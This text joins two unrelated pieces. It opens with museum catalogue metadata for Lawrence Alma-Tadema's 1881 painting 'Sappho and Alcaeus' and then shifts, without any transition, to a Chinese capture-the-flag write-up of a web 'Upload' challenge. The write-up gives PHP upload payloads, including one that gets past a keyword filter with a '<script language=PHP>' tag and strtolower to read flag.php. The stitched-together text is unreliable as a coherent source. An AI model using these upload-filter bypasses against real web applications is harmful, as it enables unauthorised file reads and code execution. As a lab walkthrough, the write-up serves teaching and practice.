Title: Sappho and Alcaeus
Creator: Lawrence Alma-Tadema
Creator Lifespan: 1836/1912
Creator Nationality: Dutch and British
Date Created: 1881
Physical Dimensions: w122 x h104.1402 cm
Type: oil paintings; panel paintings
Medium: oil on panel
Artist: Sir Lawrence Alma-Tadema, R.A., O.M.
CTF竞赛题目类型主要包含 Web 网络攻防 、 Reverse 逆向工程 、 Pwn 二进制漏洞利用 、 Crypto 密码攻击 、 Mobile 移动安全 以及 Misc 安全杂项 这六个类别。
本文为web网络攻防方向。
赛题
初始来源
#“百度杯”CTF比赛# #九月场# #Upload#
赛题传送门
【赛题类型】—>【CTF训练】
【比赛名称】—>【全部】
【题目类型】—>【Web】
选择价值 50pt,类型为 Web,名称为【Upload】的题目:

解题过程
进入到靶场环境后,得到如下的初始页面:

根据题目的提示tips:flag在flag.php中,可以推测本题目是想通过上传文件,并通过执行文件读取flag.php源码,来获取flag。
先随意上传一张图片看看效果:

发现【上传成功!】是个超链接可以点击,点击后是查看上传文件,由此得出,可以通过文件上传来构造读取flag.php的源码。
先构造最简单直接的版本:
1
2
3
4
5
<?php
$file = fopen("../flag.php", "r");
echo fread($file, filesize("../flag.php"));
fclose($file)
?>
上传后,得到

发现并没有执行,并且php后缀都被过滤掉了,尝试将 ?php 使用 **
1
2
3
4
5
<script language=PHP>
$file = fopen("../flag.".strtolower("PHP"), "r");
echo fread($file, filesize("../flag.".strtolower("PHP")));
fclose($file)
</script>
上传后,得到:

此时并没有输出错误,说明执行成功了,【F12】查看网页源码:

至此,得到flag。
总结
本题目相对简单,主要考察php文件读取,以及简单的针对关键字过滤的绕过技巧。